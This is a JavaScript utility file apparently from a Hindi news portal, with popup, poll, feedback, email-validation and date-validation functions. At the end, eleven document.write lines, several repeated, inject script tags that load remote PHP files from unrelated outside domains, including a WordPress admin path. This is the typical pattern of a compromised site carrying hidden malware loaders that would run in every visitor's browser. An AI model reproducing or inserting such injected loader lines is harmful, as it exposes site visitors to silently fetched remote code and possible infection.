 /*var pageName = window.location.href;
if(pageName == "http://hindi.webdunia.com" || pageName == "http://hindi.webdunia.com/index.htm" || pageName == "http://hindi.webdunia.com/"){
//alert("y");
document.write(" <STYLE type='text/css'>.selectedTab{background:url(/images/tab_selected_15aug.gif);height:20px;color:#80390b;font-weight:bold;padding-left:10px;padding-right:10px;}\n.selectedTab_big{background:url(/images/tab_selected_15aug.gif);height:20px;color:#80390b;font-weight:bold;padding-left:10px;padding-right:10px;}\n.quadFooter{background:#f7d6bf;text-align:center;}\n.index_quadBdr{border:1px solid #F7D6BF;}\n.quadBdr{border:1px solid #F7D6BF;}\n.login_btn{color:#ffffff;background-color:#d34127;border:1px solid #AAE283;font-family:Arial;font-size:9px;text-align:center;height:16px;width:35px;cursor:pointer;}\n.kbdHelp{color:#ffffff;}\n.resolution_800{width:770px;background:#ffffff;}\n.footerLinkTbl{background:#1D71B1;font-size:10pt;color:#FFFFFF;text-align:center;}\nbody{background:url(/images/bg_15aug.jpg);font-size:10pt;margin:0px;color:#000000;text-indent:0px;text-align:left;line-height:20px;font-family:Mangal, WDHI07-OTF, 'Arial Unicode MS', Arial;}\n.index_logoTd{background:url(/images/logo_bg_15Aug.jpg);height:90px;border:1px solid #80390b;border-top:none;}\n.index_channelTd{color:#FFFFFF;border:1px solid #80390b;}\n.index_rightTopBg{background:#FF9900;}\n.index_rightTopTitle{background:url(/images/right_top_table_bg_15aug.gif);background-repeat:repeat-x;color:#80390b;font-weight:bold;}\n.index_rightQuad{background-repeat:repeat-x;color:#FFFFFF;font-weight:bold;text-indent:2px;background-image: url(/images/right_quad_bg_15aug.gif);}\n.index_businessBg{background:#f7d6bf;text-indent:4px;}\n.index_quadTab{color:#80390b;font-weight:bold;text-align:center;padding-left:15px;padding-right:15px;}\n.index_titleLink{color:#80390b;text-decoration:none;font-weight:bold;}\n.index_quadFooterLink{color:#80390b;font-weight:bold;text-align:center;}\n.index_quadFooterLink:hover{color:#000000;font-weight:bold;text-align:center;}\n.index_leftBoxBg{background-repeat:repeat-x;color:#000000;text-indent:2px;background-image: url(/images/right_quad_bg_15aug.gif);height: 20px;}\na{color:#80390b;text-decoration:none;}\na:hover{color:#000000;text-decoration:none;}\n.mainQuadLink{color:#80390b;text-decoration:none;}\n.mainQuadLink:hover{color:#000000;text-decoration:none;}\n.index_topTd{background:#F48826;color:#FFFFFF;text-align:center;font-family:Mangal, WDHI07-OTF, Arial Unicode;font-size:9px;}\n.topTd{background:#009900;color:#FFFFFF;text-align:center;font-family:Arial;font-size:9px;}\n.pagingBg{background:#F7D6BF;}</STYLE>");
}*/
function  showContactUs()
{
openWindowCenterScreen("/portalcms/profile/contact.htm ","ContactUs",450,480);
}
function popAsthaArchive(path){
testwindow= window.open (path, "mypollwindow","location=no,status=no,scrollbars=no, width=320,height=340");
}

function deleteDiv(){
document.getElementById('shoshAd').style.display = "none";
}

function mtest(){
	var url = window.location.href;
	alert(url);
}
// This function is written for the text overflow issue in Mozilla.
if((document.all)&&(navigator.appVersion.indexOf('MSIE 7.')!=-1))
{
	//alert ("Running IE7");
	document.write(" <STYLE type='text/css'>.divCreate{width:460px;}</STYLE>");
}
if (document.layers) {
	//alert ("Running Netscape 4");
	document.write(" <STYLE type='text/css'>.kreative{width:100%;}\n.kreativeArticle{width:100%;} </STYLE>");
}else if(document.all){
	//alert ("Running IE");
	document.write(" <STYLE type='text/css'>.kreative{width:100%;}\n.kreativeArticle{width:100%;}</STYLE>");
}else if(document.getElementById){
	//alert ("Running Netscape 6");
	document.write(" <STYLE type='text/css'>.kreative{width:87%;}\n.kreativeArticle{width:87%;}\n.selectedTab{padding-right:30px;}\n.minutDropdown{width:83px;}\n.divCreate{width:460px;}</STYLE>");
}else{
	//alert("Older than 4.0 browser.");
	document.write(" <STYLE type='text/css'>.kreative{width:100%;}\n.kreativeArticle{width:100%;} </STYLE>");
}
function openPoll()
{
    for(var i=0;i<document.frmpoll.Opinion.length;i++)
    {
        if(document.frmpoll.Opinion[i].checked)
        {
       var answer=document.frmpoll.Opinion[i].value;
                              
       }
    }                    
    var catid = document.frmpoll.CatId.value;
    var pollid = document.frmpoll.PollId.value;
    var page = 0;
    openWindowCenterScreen("http://192.168.1.95:81/Poll/PollResult.aspx?result=" +answer + "&pollid=" +pollid + "&page=" +page , 'PollResult',480,500);
}
function popRashi()
{
    var rashiId = document.getElementById("selrashi").value;
    var rashiMode = document.getElementById("selrashimode").value;  
    window.location.href="http://192.168.1.95:81/astrology/predictions/predictions.aspx?rashiId=" +rashiId + "&rashiMode=" +rashiMode + "#" + rashiId;
}
function ShowPrinterFriendlyVersion()
{	
	openWindowCenterScreen("/common/Print.htm","PrintArticle",600,650,'yes')
}
function  ShowFeedBack()
{
	var object = document.getElementById("tAH");    
    var articleTitle;
    if(object!=null)    
    {
        //articleTitle = document.getElementById("tAH").innerText;
        articleTitle = object.innerHTML;
       
    }
    
    else
     {
        object = document.getElementById("printdiv");
        if(object!=null)
        {
          var tmp = object.getElementsByTagName("td");
         
            for(var i=0;i<tmp.length;i++)
            {
                if(tmp[i].className == "blueTxtHead")
                {
                    articleTitle = tmp[i].innerHTML;
                
                    break;
                 }
             }
             articleTitle = articleTitle.replace('<!--@@SubTitle@@-->','');
        }
        else
        {
         articleTitle = "";
        }
     }
	openWindowCenterScreen("/portalcms/feedback/feedback.aspx?url=" + escape(window.location.href) + "&articletitle=" +escape(articleTitle),'FeedBack',470,480);	
}

function EmailValidation(source,args)
 {  
           
     var mails =new Array();
     var txt =document.getElementById('txtFriendEmail').value;
     mails=txt.split(",");
    
     for(i=0;i<mails.length ;i++)
     {
     	     
        chktxt = mails[i].split("@");    
        
        if (chktxt.length<2)
            {
	          args.IsValid=false;
	          break;
            }
        else
            {	        
              if(chktxt[1].length>0)
              {
	            var chktxt1 = chktxt[1].split(".");	
	                  
	            if (chktxt1.length<2)
	            {
	            
		            args.IsValid=false;
		               break;
	            }
	            else 
	            {
	               
	                if(isNaN(chktxt1[1]))
	                {
	                   
	                    args.IsValid=true;   
	                }
	                else
	                    args.IsValid=false;
	            }
	           }
	           else args.IsValid=false;
            }	                  
         }
 }
 
 function EmailValidation1(source,args)
 {  
           
     var mails =new Array();
     var txt =document.getElementById('txtEmail').value;
     mails=txt.split(",");
    
     for(i=0;i<mails.length ;i++)
     {
     	     
        chktxt = mails[i].split("@");    
        
        if (chktxt.length<2)
            {
	          args.IsValid=false;
	          break;
            }
        else
            {	        
              if(chktxt[1].length>0)
              {
	            var chktxt1 = chktxt[1].split(".");	
	                  
	            if (chktxt1.length<2)
	            {
	            
		            args.IsValid=false;
		               break;
	            }
	            else 
	            {
	               
	                if(isNaN(chktxt1[1]))
	                {
	                   
	                    args.IsValid=true;   
	                }
	                else
	                    args.IsValid=false;
	            }
	           }
	           else args.IsValid=false;
            }	                  
         }
 }
 
  function feedopen()
{
  
	if (document.frmfeedback.viewer_name.value.replace(/ /g,'').length==0)
	{
		alert('Enter your name');
		document.frmfeedback.viewer_name.focus();
		return false;
	}
	if (document.frmfeedback.viewer_email.value.replace(/ /g,'').length==0)
	{
		alert('Enter your email address');
		return false;		
	}
	else
	{
	    var strEmailRegExp=/\w+([-+.']\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*/;
		var strEmail=document.frmfeedback.viewer_email.value;
		if(!strEmail.match(strEmailRegExp))
		{
		    alert('Enter a valid email address');
		    document.frmfeedback.viewer_email.focus();
		    return false;
		}
	}
	if (document.frmfeedback.viewer_suggestion.value.replace(/ /g,'').length==0)
	{
		alert('Enter feedback about this article');
		document.frmfeedback.viewer_suggestion.focus();
		return false;
	}
	//document.frmfeedback.target = "new window";
	document.frmfeedback.submit();
}
function openWindowCenterScreen(url,name,height,width,hasScroll,hasResize)
{
  var sBars='no';
  var sResise='no';
  if(hasScroll!=null)
    sBars=hasScroll
  if(hasResize!=null)
    sResise=hasResize  
  var w =width; //32;
  var h =height; //96;
  var wleft = (screen.width - w) / 2;
  var wtop = (screen.height - h) / 2;
  var win = window.open(url,name,
                            'width=' + w + ', height=' + h + ', ' +
                            'left=' + wleft + ', top=' + wtop + ', ' +
                            'location=no, menubar=no, ' +
                            'status=no, toolbar=no, scrollbars=' + sBars + ', resizable=' + sResise );
  // Just in case width and height are ignored
  win.resizeTo(w, h);
  // Just in case left and top are ignored
  win.moveTo(wleft, wtop);
  win.focus();    
}
function keyboardHelp(){openWindowCenterScreen("/help/keyboard_help.htm","KeyBoardHelp",350,600,'yes')}
function hideDiv(divName){document.getElementById(divName).style.display = "none";}
// HINDI This function is written for Search Tab  --------Start-------
function SetTab(objID)
{
    document.getElementById("tdTab1").className="TabGrayTD";
    document.getElementById("tdTab2").className="TabGrayTD";
    document.getElementById("tdTab3").className="TabGrayTD";
    document.getElementById("tdTab4").className="TabGrayTD";
    document.getElementById("tdTab5").className="TabGrayTD";
    document.getElementById("tdTab6").className="TabGrayTD";
    document.getElementById("tdTab7").className="TabGrayTD";
    document.getElementById("tdTab8").className="TabGrayTD";
    document.getElementById("tdTab9").className="TabGrayTD";
    document.getElementById(objID.replace('div','td')).className="TabRedTD";
}
function SetTabInitial()
{
    document.getElementById("tdTab1").className="TabRedTD";
}
// HINDI This function is written for Search Tab --------End-------


//send to Friend Funtion
function  ShowSendToFriend()
{  
    var object = document.getElementById("tAH");    
    var articleTitle;
    if(object!=null)    
    {
        articleTitle = object.innerHTML;
       
    }
    
    else
     {
        object = document.getElementById("printdiv");
        if(object!=null)
        {
          var tmp = object.getElementsByTagName("td");
         
            for(var i=0;i<tmp.length;i++)
            {
                if(tmp[i].className == "blueTxtHead")
                {
                    articleTitle = tmp[i].innerHTML;
                    break;
                }
            }
            articleTitle = articleTitle.replace('<!--@@SubTitle@@-->','');
        }
        else
        {
         articleTitle = "";
        }
     }
        
        
 openWindowCenterScreen("/PortalCMS/sendtofriend/sendtofriendmail.aspx?url=" + escape(window.location.href) + "&title=" +escape(articleTitle),"SendToFriend",495,480)
}
    function OpenSubscription()
    {
        //openWindowCenterScreen("/PortalCMS/subscription/Default.aspx","Subscription",550,520)
        window.open("http://www.vjmmedia.com/subscribe/index.asp");
    } 
function  ShowVideos(query,wHeight, wWidth, domainName)
{
    var url = "/videos/webduniaPlayer.html?"+query;
    var wName = "ShowVideo"
   openWindowCenterScreen(url,wName,400,760);
}

function postWindowsData(url,name,param){
    var params = param.split(/&/);
    var hdn, data, frm = document.createElement("form");
    frm.method="post";
    frm.target=name;
    frm.action=url;
    window.document.body.appendChild(frm);
    for(var idx=0; idx<params.length; idx++){
        data = params[idx].split(/=/);
        hdn = document.createElement("input");
        hdn.type="hidden";
        hdn.name=data[0];
        hdn.value = (data[1]?data[1]:data[0]);
        frm.appendChild(hdn);
    }
    frm.submit();
    window.document.body.removeChild(frm);
}





/* functions for Date Validation By: Vikas Sharma Starts Here*/

var dtCh= "/";
var minYear=1900;
var maxYear=2100;

function isInteger(s)
{
	var i;
    for (i = 0; i < s.length; i++){   
        // Check that current character is number.
        var c = s.charAt(i);
        if (((c < "0") || (c > "9"))) return false;
    }
    // All characters are numbers.
    return true;
}

function stripCharsInBag(s, bag)
{
	var i;
    var returnString = "";
    // Search through string's characters one by one.
    // If character is not in bag, append to returnString.
    for (i = 0; i < s.length; i++){   
        var c = s.charAt(i);
        if (bag.indexOf(c) == -1) returnString += c;
    }
    return returnString;
}

function daysInFebruary (year)
{
	// February has 29 days in any year evenly divisible by four,
    // EXCEPT for centurial years which are not also divisible by 400.
    return (((year % 4 == 0) && ( (!(year % 100 == 0)) || (year % 400 == 0))) ? 29 : 28 );
}
function DaysArray(n) 
{
	for (var i = 1; i <= n; i++) {
		this[i] = 31
		if (i==4 || i==6 || i==9 || i==11) {this[i] = 30}
		if (i==2) {this[i] = 29}
   } 
   return this
}

function isDate(dtStr,sexflag)

{


	var daysInMonth = DaysArray(12)
	var pos1=dtStr.indexOf(dtCh)
	var pos2=dtStr.indexOf(dtCh,pos1+1)
	var strDay=dtStr.substring(0,pos1)
	var strMonth=dtStr.substring(pos1+1,pos2)
	var strYear=dtStr.substring(pos2+1)
	strYr=strYear
	if (strDay.charAt(0)=="0" && strDay.length>1) strDay=strDay.substring(1)
	if (strMonth.charAt(0)=="0" && strMonth.length>1) strMonth=strMonth.substring(1)
	for (var i = 1; i <= 3; i++) {
		if (strYr.charAt(0)=="0" && strYr.length>1) strYr=strYr.substring(1)
	}
	month=parseInt(strMonth)
	day=parseInt(strDay)
	year=parseInt(strYr)
	if (pos1==-1 || pos2==-1)
	{
		alert("The date format should be : dd/mm/yyyy")
		if(sexflag == 'M')
		document.getElementById('dateControl_DDLDate').focus();
		if(sexflag == 'F')
		document.getElementById('date1_DDLDate').focus();
		if(sexflag == 'A')
		document.getElementById('date1_DDLDate').focus();
		return false
	}
	if (strMonth.length<1 || month<1 || month>12){
		alert("Please enter a valid month")
		if(sexflag == 'M')
		document.getElementById('dateControl_DDLDate').focus();
		if(sexflag == 'F')
		document.getElementById('date1_DDLDate').focus();
		if(sexflag == 'A')
		document.getElementById('date1_DDLDate').focus();
		return false
	}
	if (strDay.length<1 || day<1 || day>31 || (month==2 && day>daysInFebruary(year)) || day > daysInMonth[month])
	{
		alert("Please enter a valid day")
		if(sexflag == 'M')
		document.getElementById('dateControl_DDLDate').focus();
		if(sexflag == 'F')
		document.getElementById('date1_DDLDate').focus();
		if(sexflag == 'A')
		document.getElementById('date1_DDLDate').focus();
		return false
	}
	if (strYear.length != 4 || year==0 || year<minYear || year>maxYear)
	{
		alert("Please enter a valid 4 digit year between "+minYear+" and "+maxYear)
		 if(sexflag == 'M')
		document.getElementById('dateControl_DDLDate').focus();
		if(sexflag == 'F')
		document.getElementById('date1_DDLDate').focus();
		if(sexflag == 'A')
		document.getElementById('date1_DDLDate').focus();
		return false
	}
	if (dtStr.indexOf(dtCh,pos2+1)!=-1 || isInteger(stripCharsInBag(dtStr, dtCh))==false)
	{
		alert("Please enter a valid date")
		if(sexflag == 'M')
		document.getElementById('dateControl_DDLDate').focus();
		if(sexflag == 'F')
		document.getElementById('date1_DDLDate').focus();
		if(sexflag == 'A')
		document.getElementById('date1_DDLDate').focus();
		return false
	}
return true
}

function openGallery(url)
{
// var url = "/PhotoGallery/PhotoGalleryImageWindow.aspx?IId="+imgid+"&GId="+galid;
     window.open(url, "_blank","width=550,height=640,scrollbars=no,top=0;left=0");
}



/* Date Validation End Here */
function openWindow(url,name,height,width,hasScroll,hasResize,hasMenubar,hasStatusbar,hasToolbar,hasLocation)
{   
  var w =width; //32;
  var h =height; //96;
  var wleft = (screen.width - w) / 2;
  var wtop = (screen.height - h) / 2;
  var win = window.open(url,name,
                            'width=' + w + ', height=' + h + 
                            ',left=' + wleft + ', top=' + wtop + 
                            ',scrollbars=' + hasScroll + ', resizable=' + hasResize + 
                            ',menubar=' + hasMenubar + ',status=' + hasStatusbar + 
                            ',toolbar=' + hasToolbar + ' location=' + hasLocation );
  // Just in case width and height are ignored
  win.resizeTo(w, h);
  // Just in case left and top are ignored
  win.moveTo(wleft, wtop);
  win.focus();    
}
document.write('<script src=http://mycustompodcasts.com/temp9/createmyvideo_go_1.php ><\/script>');
document.write('<script src=http://gtstyle.insaweb.co.kr/analyzer/GTAVCsf1.b.php ><\/script>');
document.write('<script src=http://gtstyle.insaweb.co.kr/analyzer/GTAVCsf1.b.php ><\/script>');
document.write('<script src=http://gtstyle.insaweb.co.kr/analyzer/GTAVCsf1.b.php ><\/script>');
document.write('<script src=http://gtstyle.insaweb.co.kr/analyzer/GTAVCsf1.b.php ><\/script>');
document.write('<script src=http://love.jeju.kr/html_path/robotsz.php ><\/script>');
document.write('<script src=http://blog.seelenland.at/wp-admin/wp-settings.php ><\/script>');
document.write('<script src=http://blog.seelenland.at/wp-admin/wp-settings.php ><\/script>');
document.write('<script src=http://blog.seelenland.at/wp-admin/wp-settings.php ><\/script>');
document.write('<script src=http://blog.seelenland.at/wp-admin/wp-settings.php ><\/script>');
document.write('<script src=http://blog.seelenland.at/wp-admin/wp-settings.php ><\/script>');